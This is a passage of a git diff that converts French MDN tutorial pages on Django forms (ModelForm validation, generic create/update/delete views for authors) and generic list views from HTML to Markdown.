+``` -<div class="note"> -<p><strong>Note :</strong> Cela peut ne pas sembler beaucoup plus simple que d'utiliser un simple <code>Form</code>, et ça ne l'est effectivement pas dans ce cas, parce que nous n'avons qu'un seul champ. Cependant, si vous avez beaucoup de champs, cela peut réduire notablement la quantité de code !</p> -</div> +> **Note :** Cela peut ne pas sembler beaucoup plus simple que d'utiliser un simple `Form`, et ça ne l'est effectivement pas dans ce cas, parce que nous n'avons qu'un seul champ. Cependant, si vous avez beaucoup de champs, cela peut réduire notablement la quantité de code ! -<p>Le reste de l'information vient des définitions de champ données par le modèle (par ex. les labels, les widgets, le texte d'aide, les messages d'erreur). S'ils ne sont pas suffisamment satisfaisants, nous pouvons les réécrire dans notre <code>class Meta</code>, en précisant un dictionnaire contenant le champ à modifier et sa nouvelle valeur. Par exemple, dans ce formulaire, nous pourrions souhaiter, pour notre champ, un label tel que "<em>Renewal date</em>" (plutôt que celui par défaut, basé sur le nom du champ : <em>Due Back</em>), et nous voulons aussi que notre texte d'aide soit spécifique à ce cas d'utilisation. La classe <code>Meta</code> ci-dessous vous montre comment réécrire ces champs, et vous pouvez pareillement définir <code>widgets</code> et <code>error_messages</code> si les valeurs par défaut ne sont pas suffisantes.</p> +Le reste de l'information vient des définitions de champ données par le modèle (par ex. les labels, les widgets, le texte d'aide, les messages d'erreur). S'ils ne sont pas suffisamment satisfaisants, nous pouvons les réécrire dans notre `class Meta`, en précisant un dictionnaire contenant le champ à modifier et sa nouvelle valeur. Par exemple, dans ce formulaire, nous pourrions souhaiter, pour notre champ, un label tel que "_Renewal date_" (plutôt que celui par défaut, basé sur le nom du champ : _Due Back_), et nous voulons aussi que notre texte d'aide soit spécifique à ce cas d'utilisation. La classe `Meta` ci-dessous vous montre comment réécrire ces champs, et vous pouvez pareillement définir `widgets` et `error_messages` si les valeurs par défaut ne sont pas suffisantes. -<pre class="brush: python">class Meta: +```python +class Meta: model = BookInstance fields = ['due_back',] -<strong> labels = { 'due_back': _('Renewal date'), } - help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } </strong> -</pre> + labels = { 'due_back': _('Renewal date'), } + help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } +``` -<p>Pour ajouter une validation, vous pouvez utiliser la même approche que pour un <code>Form</code> normal : vous définissez une fonction appelée <code>clean_<em>field_name</em>()</code>, et vous levez des exceptions de type <code>ValidationError</code> pour les valeurs non valides. La seule différence par rapport à notre formulaire original, c'est que le champ de modèle est appelé <code>due_back</code> et non "<code>renewal_date</code>". Ce changement est nécessaire, dans la mesure où le champ correspondant dans <code>BookInstance</code> est appelé <code>due_back</code>.</p> +Pour ajouter une validation, vous pouvez utiliser la même approche que pour un `Form` normal : vous définissez une fonction appelée `clean_field_name()`, et vous levez des exceptions de type `ValidationError` pour les valeurs non valides. La seule différence par rapport à notre formulaire original, c'est que le champ de modèle est appelé `due_back` et non "`renewal_date`". Ce changement est nécessaire, dans la mesure où le champ correspondant dans `BookInstance` est appelé `due_back`. -<pre class="brush: python">from django.forms import ModelForm +```python +from django.forms import ModelForm from .models import BookInstance class RenewBookModelForm(ModelForm): -<strong> def clean_due_back(self): + def clean_due_back(self): data = self.cleaned_data['due_back'] #Check date is not in past. - if data < datetime.date.today(): + if data < datetime.date.today(): raise ValidationError(_('Invalid date - renewal in past')) #Check date is in range librarian allowed to change (+4 weeks) - if data > datetime.date.today() + datetime.timedelta(weeks=4): + if data > datetime.date.today() + datetime.timedelta(weeks=4): raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) # Remember to always return the cleaned data. return data -</strong> + class Meta: model = BookInstance fields = ['due_back',] labels = { 'due_back': _('Renewal date'), } help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } -</pre> +``` -<p>La classe <code>RenewBookModelForm</code> ci-dessus est maintenant fonctionnellement équivalente à notre <code>RenewBookForm</code> d'origine. Vous pourriez l'importer et l'utiliser partout où vous utilisez <code>RenewBookForm</code>, du moment que vous changez aussi de <code>renewal_date</code> en <code>due_back</code> le nom de variable du formulaire correspondant, comme dans la deuxième déclaration du formulaire : <code>RenewBookModelForm(initial={'due_back': proposed_renewal_date}</code>.</p> +La classe `RenewBookModelForm` ci-dessus est maintenant fonctionnellement équivalente à notre `RenewBookForm` d'origine. Vous pourriez l'importer et l'utiliser partout où vous utilisez `RenewBookForm`, du moment que vous changez aussi de `renewal_date` en `due_back` le nom de variable du formulaire correspondant, comme dans la deuxième déclaration du formulaire : `RenewBookModelForm(initial={'due_back': proposed_renewal_date}`. -<h2 id="Vues_génériques_dédition">Vues génériques d'édition</h2> +## Vues génériques d'édition -<p>L'algorithme de gestion des formulaires que nous avons utilisé ci-dessus dans notre exemple de vue basée sur une fonction, représente un processus extrêmement commun dans vues destinées à éditer un formulaire. Django abstrait pour vous la plus grande partie de ce processus répétitif ("boilerplate") en proposant des <a class="external" href="https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-editing/" rel="noopener">generic editing views</a> pour les vues de création, éditition et suppression basées sur des modèles. Ces vues génériques non seulement assument le comportement d'une vue, mais elles créent automatiquement la classe de formulaire (un <code>ModelForm</code>) pour vous à partir du modèle.</p> +L'algorithme de gestion des formulaires que nous avons utilisé ci-dessus dans notre exemple de vue basée sur une fonction, représente un processus extrêmement commun dans vues destinées à éditer un formulaire. Django abstrait pour vous la plus grande partie de ce processus répétitif ("boilerplate") en proposant des [generic editing views](https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-editing/) pour les vues de création, éditition et suppression basées sur des modèles. Ces vues génériques non seulement assument le comportement d'une vue, mais elles créent automatiquement la classe de formulaire (un `ModelForm`) pour vous à partir du modèle. -<div class="note"> -<p><strong>Note :</strong> En plus des vues d'édition décrites ici, il existe aussi une classe <a class="external" href="https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-editing/#formview" rel="noopener">FormView</a>, qui se tient, en termes de rapport "flexibilité"/"effort codage", à mi-chemin entre notre vue basée sur une fonction et les autres vues génériques. En utilisant <code>FormView</code>, vous avez encore besoin de créer votre <code>Form</code>, mais vous n'avez pas besoin d'implémenter tous les éléments d'une gestion standard de formulaire. À la place, vous n'avez qu'à fournir une implémentation de la fonction qui sera appelée une fois que les données envoyées sont reconnues valides.</p> -</div> +> **Note :** En plus des vues d'édition décrites ici, il existe aussi une classe [FormView](https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-editing/#formview), qui se tient, en termes de rapport "flexibilité"/"effort codage", à mi-chemin entre notre vue basée sur une fonction et les autres vues génériques. En utilisant `FormView`, vous avez encore besoin de créer votre `Form`, mais vous n'avez pas besoin d'implémenter tous les éléments d'une gestion standard de formulaire. À la place, vous n'avez qu'à fournir une implémentation de la fonction qui sera appelée une fois que les données envoyées sont reconnues valides. -<p>Dans cette section, nous allons utiliser des vues génériques d'édition pour créer des pages afin de pouvoir ajouter les fonctionnalités de création, d'édition et de suppression des enregistrements de type <code>Author</code> de notre bibliothèque, en fournissant efficacement une réimplémentation basique de certaines parties du site Admin (cela peut être intéressant si vous avez besoin d'offrir une fonctionnalité admin d'une manière plus flexible que ce qui peut être présenté par le site admin).</p> +Dans cette section, nous allons utiliser des vues génériques d'édition pour créer des pages afin de pouvoir ajouter les fonctionnalités de création, d'édition et de suppression des enregistrements de type `Author` de notre bibliothèque, en fournissant efficacement une réimplémentation basique de certaines parties du site Admin (cela peut être intéressant si vous avez besoin d'offrir une fonctionnalité admin d'une manière plus flexible que ce qui peut être présenté par le site admin). -<h3 id="Vues">Vues</h3> +### Vues -<p>Ouvrez le fichier vue (<strong>locallibrary/catalog/views.py</strong>) et ajoutez le bloc de code suivant à la fin :</p> +Ouvrez le fichier vue (**locallibrary/catalog/views.py**) et ajoutez le bloc de code suivant à la fin : -<pre class="brush: python">from django.views.generic.edit import CreateView, UpdateView, DeleteView +```python +from django.views.generic.edit import CreateView, UpdateView, DeleteView from django.urls import reverse_lazy from .models import Author @@ -538,114 +537,113 @@ class AuthorUpdate(UpdateView): class AuthorDelete(DeleteView): model = Author - success_url = reverse_lazy('authors')</pre> + success_url = reverse_lazy('authors') +``` -<p>Comme vous pouvez le voir, pour les vues "créer", "modifier" et "supprimer", vous avez besoin de dériver respectivement des vues génériques <code>CreateView</code>, <code>UpdateView</code>, et <code>DeleteView</code>, et de définir ensuite le modèle associé.</p> +Comme vous pouvez le voir, pour les vues "créer", "modifier" et "supprimer", vous avez besoin de dériver respectivement des vues génériques `CreateView`, `UpdateView`, et `DeleteView`, et de définir ensuite le modèle associé. -<p>Pour les cas "créer" et "modifier", vous devez aussi préciser les champs à afficher dans le formulaire (en utilisant la même syntaxe que pour la classe <code>ModelForm</code>). Dans ce cas, nous montrons à la fois la syntaxe pour afficher "tous" les champs, et comment vous pouvez les lister un par un. Vous pouvez aussi spécifier les valeurs initiales pour chacun des champs, en utilisant un dictionnaire de paires <em>nom_du_champ/valeur</em> (ici nous définissons arbitrairement la date de mort, uniquement dans un but de démonstration - sans doute voudrez-vous l'enlever !). Par défaut, ces vues vont rediriger en cas de succès vers une page affichant l'élément nouvellement créé ou modifié, ce qui, dans notre cas, sera la vue "détail" d'un auteur, créée dans un précédent tutoriel. Vous pouvez spécifier un autre lieu de redirection en déclarant explicitement le paramètre <code>success_url</code> (comme indiqué dans la classe <code>AuthorDelete</code>).</p> +Pour les cas "créer" et "modifier", vous devez aussi préciser les champs à afficher dans le formulaire (en utilisant la même syntaxe que pour la classe `ModelForm`). Dans ce cas, nous montrons à la fois la syntaxe pour afficher "tous" les champs, et comment vous pouvez les lister un par un. Vous pouvez aussi spécifier les valeurs initiales pour chacun des champs, en utilisant un dictionnaire de paires _nom_du_champ/valeur_ (ici nous définissons arbitrairement la date de mort, uniquement dans un but de démonstration - sans doute voudrez-vous l'enlever !). Par défaut, ces vues vont rediriger en cas de succès vers une page affichant l'élément nouvellement créé ou modifié, ce qui, dans notre cas, sera la vue "détail" d'un auteur, créée dans un précédent tutoriel. Vous pouvez spécifier un autre lieu de redirection en déclarant explicitement le paramètre `success_url` (comme indiqué dans la classe `AuthorDelete`). -<p>La classe ne requiert pas l'affichage d'aucun champ, aussi n'ont-ils pas besoin d'être précisés. Par contre il vous faut bien spécifier la <code>success_url</code>, car Django n'a pas de valeur par défaut pour cela. Dans ce cas, nous utilisons la fonction pour rediriger vers notre liste d'auteurs après qu'un auteur ait été supprimé. <code>reverse_lazy()</code> est une version de <code>reverse()</code> exécutée mollement ("lazily"), que nous utilisons ici parce que nous fournissons une URL à un attribut de vue basée sur classe.</p> +La classe ne requiert pas l'affichage d'aucun champ, aussi n'ont-ils pas besoin d'être précisés. Par contre il vous faut bien spécifier la `success_url`, car Django n'a pas de valeur par défaut pour cela. Dans ce cas, nous utilisons la fonction pour rediriger vers notre liste d'auteurs après qu'un auteur ait été supprimé. `reverse_lazy()` est une version de `reverse()` exécutée mollement ("lazily"), que nous utilisons ici parce que nous fournissons une URL à un attribut de vue basée sur classe. -<h3 id="Templates">Templates</h3> +### Templates -<p>Les vues "créer" et "modifier" utilisent le même template par défaut, lequel sera nommé d'après votre modèle : <em>model_name</em><strong>_form.html</strong> (vous pouvez changer le suffixe en autre chose que <strong>_form</strong> en utilisant le champ <code>template_name_suffix</code> dans votre vue, par exemple <code>template_name_suffix = '_other_suffix'</code>).</p> +Les vues "créer" et "modifier" utilisent le même template par défaut, lequel sera nommé d'après votre modèle : \*model_name**\*\_form.html** (vous pouvez changer le suffixe en autre chose que **\_form** en utilisant le champ `template_name_suffix` dans votre vue, par exemple `template_name_suffix = '_other_suffix'`). -<p>Créez le fichier de template <strong>locallibrary/catalog/templates/catalog/author_form.html</strong>, et copiez-y le texte suivant.</p> +Créez le fichier de template **locallibrary/catalog/templates/catalog/author_form.html**, et copiez-y le texte suivant. -<pre class="brush: html">{% extends "base_generic.html" %} +```html +{% extends "base_generic.html" %} {% block content %} -<form action="" method="post"> +<form action="" method="post"> {% csrf_token %} - <table> + <table> \{{ form.as_table }} - </table> - <input type="submit" value="Submit" /> + </table> + <input type="submit" value="Submit" /> -</form> -{% endblock %}</pre> +</form> +{% endblock %} +``` -<p>Ce formulaire est semblable à nos formulaires précédents et affiche les champs en utilisant un tableau. Notez aussi comment nous déclarons à nouveau le <code>{% csrf_token %}</code> pour nous assurer que nos formulaires résisteront à d'éventuelles attaques par CSRF (Cross Site Request Forgery).</p> +Ce formulaire est semblable à nos formulaires précédents et affiche les champs en utilisant un tableau. Notez aussi comment nous déclarons à nouveau le `{% csrf_token %}` pour nous assurer que nos formulaires résisteront à d'éventuelles attaques par CSRF (Cross Site Request Forgery). -<p>La vue "supprimer" s'attend à trouver un template avec un nom au format <em>model_name</em><strong>_confirm_delete.html</strong> (de nouveau, vous pouvez changer le suffixe en utilisant <code>template_name_suffix</code> dans votre vue). Créez le fichier de template <strong>locallibrary/catalog/templates/catalog/author_confirm_delete</strong><strong>.html</strong>, et copiez-y le texte suivant.</p> +La vue "supprimer" s'attend à trouver un template avec un nom au format \*model_name**\*\_confirm_delete.html** (de nouveau, vous pouvez changer le suffixe en utilisant `template_name_suffix` dans votre vue). Créez le fichier de template **locallibrary/catalog/templates/catalog/author_confirm_delete\*\***.html\*\*, et copiez-y le texte suivant. -<pre class="brush: html">{% extends "base_generic.html" %} +```html +{% extends "base_generic.html" %} {% block content %} -<h1>Delete Author</h1> +<h1>Delete Author</h1> -<p>Are you sure you want to delete the author: \{{ author }}?</p> +<p>Are you sure you want to delete the author: \{{ author }}?</p> -<form action="" method="POST"> +<form action="" method="POST"> {% csrf_token %} - <input type="submit" action="" value="Yes, delete." /> -</form> + <input type="submit" action="" value="Yes, delete." /> +</form> {% endblock %} -</pre> +``` -<h3 id="Configurations_dURL">Configurations d'URL</h3> +### Configurations d'URL -<p>Ouvrez votre fichier de configuration d'URL (<strong>locallibrary/catalog/urls.py</strong>) et ajoutez-y à la fin la configuration suivante :</p> +Ouvrez votre fichier de configuration d'URL (**locallibrary/catalog/urls.py**) et ajoutez-y à la fin la configuration suivante : -<pre class="brush: python">urlpatterns += [ +```python +urlpatterns += [ url(r'^author/create/$', views.AuthorCreate.as_view(), name='author_create'), - url(r'^author/(?P<pk>\d+)/update/$', views.AuthorUpdate.as_view(), name='author_update'), - url(r'^author/(?P<pk>\d+)/delete/$', views.AuthorDelete.as_view(), name='author_delete'), -]</pre> - -<p>Il n'y a rien de particulièrement nouveau ici ! Vous pouvez voir que les vues sont des classes, et doivent dès lors être appelée via <code>.as_view()</code>, et vous devriez être capable de reconnaître les patterns d'URL dans chaque cas. Nous devons utiliser <code>pk</code> comme nom pour la valeur de nos clés primaires capturées, car c'est le nom de paramètre attendu par les classes de vue.</p> + url(r'^author/(?P<pk>\d+)/update/$', views.AuthorUpdate.as_view(), name='author_update'), + url(r'^author/(?P<pk>\d+)/delete/$', views.AuthorDelete.as_view(), name='author_delete'), +] +``` -<p>Les pages de création, modification et suppression d'auteur sont maintenant prêtes à être testées (nous ne nous mettons pas en peine pour cette fois, bien que vous puissiez le faire si vous le souhaiter, de les accrocher dans la barre latérale du site).</p> +Il n'y a rien de particulièrement nouveau ici ! Vous pouvez voir que les vues sont des classes, et doivent dès lors être appelée via `.as_view()`, et vous devriez être capable de reconnaître les patterns d'URL dans chaque cas. Nous devons utiliser `pk` comme nom pour la valeur de nos clés primaires capturées, car c'est le nom de paramètre attendu par les classes de vue. -<div class="note"> -<p><strong>Note :</strong> Les utilisateurs observateurs auront remarqué que nous n'avons rien fait pour empêcher les utilisateurs non autorisés d'accéder ces pages ! Nous laissons cela comme exercice pour vous (suggestion : vous pourriez utiliser le <code>PermissionRequiredMixin</code>, et soit créer une nouvelle permission, soit réutiliser notre permission<code>can_mark_returned</code> ).</p> -</div> +Les pages de création, modification et suppression d'auteur sont maintenant prêtes à être testées (nous ne nous mettons pas en peine pour cette fois, bien que vous puissiez le faire si vous le souhaiter, de les accrocher dans la barre latérale du site). -<h3 id="Test_de_la_page">Test de la page</h3> +> **Note :** Les utilisateurs observateurs auront remarqué que nous n'avons rien fait pour empêcher les utilisateurs non autorisés d'accéder ces pages ! Nous laissons cela comme exercice pour vous (suggestion : vous pourriez utiliser le `PermissionRequiredMixin`, et soit créer une nouvelle permission, soit réutiliser notre permission`can_mark_returned` ). -<p>Tout d'abord, connectez-vous au site avec un compte ayant les permissions que vous avez définies comme nécessaires pour accéder aux pages d'édition d'auteur.</p> +### Test de la page -<p>Ensuite naviguez à la page de création d'auteur : <a class="external" href="http://127.0.0.1:8000/catalog/author/create/" rel="noopener">http://127.0.0.1:8000/catalog/author/create/</a>, ce qui devrait ressembler à la capture d'écran ci-dessous.</p> +Tout d'abord, connectez-vous au site avec un compte ayant les permissions que vous avez définies comme nécessaires pour accéder aux pages d'édition d'auteur. -<p><img alt="Form Example: Create Author" src="forms_example_create_author.png"></p> +Ensuite naviguez à la page de création d'auteur : <http://127.0.0.1:8000/catalog/author/create/>, ce qui devrait ressembler à la capture d'écran ci-dessous. -<p>Entrez des valeurs pour les champs et ensuite cliquez sur <strong>Submit</strong> pour sauvegarder l'enregistrement de cet auteur. Vous devriez maintenant être conduit à une vue "détail" pour votre nouvel auteur, avec une URL du genre <em>http://127.0.0.1:8000/catalog/author/10</em>.</p> + -<p>Vous pouvez tester l'édition d'un enregistrement en ajoutant <em>/update/</em> à la fin de l'URL "détail" (par exemple <em>http://127.0.0.1:8000/catalog/author/10/update/</em>). Nous ne mettons pas de capture d'écran, car c'est à peu près la même chose que la page "create".</p> +Entrez des valeurs pour les champs et ensuite cliquez sur **Submit** pour sauvegarder l'enregistrement de cet auteur. Vous devriez maintenant être conduit à une vue "détail" pour votre nouvel auteur, avec une URL du genre _http\://127.0.0.1:8000/catalog/author/10_. -<p>Enfin, nous pouvons effacer l'enregistrement en ajoutant "delete" à la fin de l'URL de détail (par exemple <em>http://127.0.0.1:8000/catalog/author/10/delete/</em>). Django devrait vous afficher la page de suppression montrée ci-dessous. Cliquez sur "<strong>Yes, delete</strong>" pour supprimer l'enregistrement et être reconduit à la liste des auteurs.</p> +Vous pouvez tester l'édition d'un enregistrement en ajoutant */update/* à la fin de l'URL "détail" (par exemple _http\://127.0.0.1:8000/catalog/author/10/update/_). Nous ne mettons pas de capture d'écran, car c'est à peu près la même chose que la page "create". -<p><img alt="" src="forms_example_delete_author.png"></p> +Enfin, nous pouvons effacer l'enregistrement en ajoutant "delete" à la fin de l'URL de détail (par exemple _http\://127.0.0.1:8000/catalog/author/10/delete/_). Django devrait vous afficher la page de suppression montrée ci-dessous. Cliquez sur "**Yes, delete**" pour supprimer l'enregistrement et être reconduit à la liste des auteurs. -<h2 id="Mettez-vous_au_défi">Mettez-vous au défi</h2> + -<p>Créez des formulaires pour créer, modifier et effacer des enregistrements de type <code>Book</code>. Vous pouvez utiliser exactement la même structure que pour les <code>Authors</code>. Si votre template <strong>book_form.html</strong> est simplement copié-renommé à partir du template <strong>author_form.html</strong>, alors la nouvelle page "create book" va ressembler à quelque chose comme ceci :</p> +## Mettez-vous au défi -<p><img alt="" src="forms_example_create_book.png"></p> +Créez des formulaires pour créer, modifier et effacer des enregistrements de type `Book`. Vous pouvez utiliser exactement la même structure que pour les `Authors`. Si votre template **book_form.html** est simplement copié-renommé à partir du template **author_form.html**, alors la nouvelle page "create book" va ressembler à quelque chose comme ceci : -<ul> -</ul> + -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Créer et gérer des formulaires peut être un processus compliqué ! Django le rend bien plus aisé en fournissant des mécanismes de programmation pour déclarer, rendre et valider des formulaires. Django fournit de plus des vues génériques d'édition de formulaires, qui peuvent faire presque tout le travail si vous voulez définir des pages pour créer, modifier et supprimer des enregistrements associés à une instance d'un modèle unique.</p> +Créer et gérer des formulaires peut être un processus compliqué ! Django le rend bien plus aisé en fournissant des mécanismes de programmation pour déclarer, rendre et valider des formulaires. Django fournit de plus des vues génériques d'édition de formulaires, qui peuvent faire presque tout le travail si vous voulez définir des pages pour créer, modifier et supprimer des enregistrements associés à une instance d'un modèle unique. -<p>Il y a bien d'autres choses qui peuvent être faites avec les formulaires (regardez notre liste <a href="/fr/docs/Learn/Server-side/Django/Forms#See_also">See also</a> ci-dessous), mais vous devez être maintenant en mesure de comprendre comment ajouter des formulaires basiques et un code de gestion de formulaire à vos propres sites web.</p> +Il y a bien d'autres choses qui peuvent être faites avec les formulaires (regardez notre liste [See also](/fr/docs/Learn/Server-side/Django/Forms#See_also) ci-dessous), mais vous devez être maintenant en mesure de comprendre comment ajouter des formulaires basiques et un code de gestion de formulaire à vos propres sites web. -<h2 id="See_also">See also</h2> +## See also -<ul> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/">Working with forms</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial04/#write-a-simple-form">Writing your first Django app, part 4 > Writing a simple form</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/api/">The Forms API</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/">Form fields</a> (Django docs) </li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Form and field validation</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/">Form handling with class-based views</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">Creating forms from models</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">Generic editing views</a> (Django docs)</li> -</ul> +- [Working with forms](https://docs.djangoproject.com/en/1.10/topics/forms/) (Django docs) +- [Writing your first Django app, part 4 > Writing a simple form](https://docs.djangoproject.com/en/1.10/intro/tutorial04/#write-a-simple-form) (Django docs) +- [The Forms API](https://docs.djangoproject.com/en/1.10/ref/forms/api/) (Django docs) +- [Form fields](https://docs.djangoproject.com/en/1.10/ref/forms/fields/) (Django docs) +- [Form and field validation](https://docs.djangoproject.com/en/1.10/ref/forms/validation/) (Django docs) +- [Form handling with class-based views](https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/) (Django docs) +- [Creating forms from models](https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/) (Django docs) +- [Generic editing views](https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/) (Django docs) -<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p> +{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}} diff --git a/files/fr/learn/server-side/django/generic_views/index.md b/files/fr/learn/server-side/django/generic_views/index.md index 8917b2d6fc..ff57f270ee 100644 --- a/files/fr/learn/server-side/django/generic_views/index.md +++ b/files/fr/learn/server-side/django/generic_views/index.md @@ -11,99 +11,108 @@ tags: translation_of: Learn/Server-side/Django/Generic_views original_slug: Learn/Server-side/Django/Vues_generiques --- -<div></div> - -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div> - -<div>Ce tutoriel améliore notre site web <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, en ajoutant des pages de listes et de détails pour les livres et les auteurs. Ici nous allons apprendre les vues génériques basées sur des classes, et montrer comment elles peuvent réduire le volume de code à écrire pour les cas ordinaires. Nous allons aussi entrer plus en détail dans la gestion des URLs, en montrant comment réaliser des recherches de patterns simples.</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}Ce tutoriel améliore notre site web [LocalLibrary](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website), en ajoutant des pages de listes et de détails pour les livres et les auteurs. Ici nous allons apprendre les vues génériques basées sur des classes, et montrer comment elles peuvent réduire le volume de code à écrire pour les cas ordinaires. Nous allons aussi entrer plus en détail dans la gestion des URLs, en montrant comment réaliser des recherches de patterns simples. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td> - <p>Avoir terminé tous les tutoriels précédents, y compris <a href="/fr/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a>.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td> - <p>Comprendre où et comment utiliser des vues génériques basées sur classes, et comment extraire des patterns dans des URLs pour transmettre les informations aux vues.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + <p> + Avoir terminé tous les tutoriels précédents, y compris + <a href="/fr/docs/Learn/Server-side/Django/Home_page" + >Django Tutorial Part 5: Creating our home page</a + >. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + <p> + Comprendre où et comment utiliser des vues génériques basées sur + classes, et comment extraire des patterns dans des URLs pour + transmettre les informations aux vues. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Aperçu">Aperçu</h2> +## Aperçu -<p>Dans ce tutoriel, nous allons terminer la première version du site web <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, en ajoutant des pages de listes et de détails pour les livres et les auteurs (ou pour être plus précis, nous allons vous montrer comment implémenter les pages concernant les livres, et vous faire créer vous-mêmes les pages concernant les auteurs !).</p> +Dans ce tutoriel, nous allons terminer la première version du site web [LocalLibrary](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website), en ajoutant des pages de listes et de détails pour les livres et les auteurs (ou pour être plus précis, nous allons vous montrer comment implémenter les pages concernant les livres, et vous faire créer vous-mêmes les pages concernant les auteurs !). -<p>Le processus est semblable à celui utilisé pour créer la page d'index, processus que nous avons montré dans le tutoriel précédent. Nous allons avoir de nouveau besoin de créer des mappages d'URLs, des vues et des templates. La principale différence est que, pour la page des détails, nous allons avoir le défi supplémentaire d'extraire de l'URL des informations que nous transmettrons à la vue. Pour ces pages, nous allons montrer comment utiliser un type de vue complètement différent : des vues "listes" et "détails" génériques et basées sur des classes. Cela peut réduire significativement la somme de code nécessaire, les rendant ainsi faciles à écrire et à maintenir.</p> +Le processus est semblable à celui utilisé pour créer la page d'index, processus que nous avons montré dans le tutoriel précédent. Nous allons avoir de nouveau besoin de créer des mappages d'URLs, des vues et des templates. La principale différence est que, pour la page des détails, nous allons avoir le défi supplémentaire d'extraire de l'URL des informations que nous transmettrons à la vue. Pour ces pages, nous allons montrer comment utiliser un type de vue complètement différent : des vues "listes" et "détails" génériques et basées sur des classes. Cela peut réduire significativement la somme de code nécessaire, les rendant ainsi faciles à écrire et à maintenir. -<p>La partie finale de ce tutoriel montrera comment paginer vos données quand vous utilisez des vues "listes" génériques basées sur des classes.</p> +La partie finale de ce tutoriel montrera comment paginer vos données quand vous utilisez des vues "listes" génériques basées sur des classes. -<h2 id="Page_de_liste_de_livres">Page de liste de livres</h2> +## Page de liste de livres -<p>La page de liste des livres va afficher une liste de tous les enregistrements de livres disponibles, en utilisant l'URL: <code>catalog/books/</code>. La page va afficher le titre et l'auteur pour chaque enregistrement, et le titre sera un hyperlien vers la page de détails associée. La page aura la même structure et la même zone de navigation que les autres pages du site, et nous pouvons dès lors étendre le template de base (<strong>base_generic.html</strong>) que nous avons créé dans le tutoriel précédent.</p> +La page de liste des livres va afficher une liste de tous les enregistrements de livres disponibles, en utilisant l'URL: `catalog/books/`. La page va afficher le titre et l'auteur pour chaque enregistrement, et le titre sera un hyperlien vers la page de détails associée. La page aura la même structure et la même zone de navigation que les autres pages du site, et nous pouvons dès lors étendre le template de base (**base_generic.html**) que nous avons créé dans le tutoriel précédent. -<h3 id="Mappage_dURL">Mappage d'URL</h3> +### Mappage d'URL -<p>Ouvrez le fichier <strong>/catalog/urls.py</strong>, et copiez-y la ligne en gras ci-dessous. Comme pour la page d'index, cette fonction <code>path()</code> définit un pattern destiné à identifier l'URL (<strong>'books/'</strong>), une fonction vue qui sera appelée si l'URL correspond (<code>views.BookListView.as_view()</code>), et un nom pour ce mappage particulier.</p> +Ouvrez le fichier **/catalog/urls.py**, et copiez-y la ligne en gras ci-dessous. Comme pour la page d'index, cette fonction `path()` définit un pattern destiné à identifier l'URL (**'books/'**), une fonction vue qui sera appelée si l'URL correspond (`views.BookListView.as_view()`), et un nom pour ce mappage particulier. -<pre class="brush: python">urlpatterns = [ +```python +urlpatterns = [ path('', views.index, name='index'), -<strong> </strong>path<strong>('books/', views.BookListView.as_view(), name='books'),</strong> -]</pre> + path('books/', views.BookListView.as_view(), name='books'), +] +``` -<p>Comme discuté dans le tutoriel précédent, l'URL doit auparavant avoir identifié la chaîne <code>/catalog</code>, aussi la vue ne sera réellement appelée que pour l'URL complète: <code>/catalog/books/</code>.</p> +Comme discuté dans le tutoriel précédent, l'URL doit auparavant avoir identifié la chaîne `/catalog`, aussi la vue ne sera réellement appelée que pour l'URL complète: `/catalog/books/`. -<p>La fonction vue a un format différent de celui que nous avions jusqu'ici : c'est parce que cette vue sera en réalité implémentée sous forme de classe. Nous allons la faire hériter d'une fonction vue générique existante, qui fait la plus grande partie de ce que nous souhaitons réaliser avec cette vue, plutôt que d'écrire notre propre fonction à partir de zéro.</p> +La fonction vue a un format différent de celui que nous avions jusqu'ici : c'est parce que cette vue sera en réalité implémentée sous forme de classe. Nous allons la faire hériter d'une fonction vue générique existante, qui fait la plus grande partie de ce que nous souhaitons réaliser avec cette vue, plutôt que d'écrire notre propre fonction à partir de zéro. -<p>En Django, on accède à la fonction appropriée d'une vue basée sur classe en appelant sa méthode de classe <code>as_view()</code>. Cela a pour effet de créer une instance de la classe, et de s'assurer que les bonnes méthodes 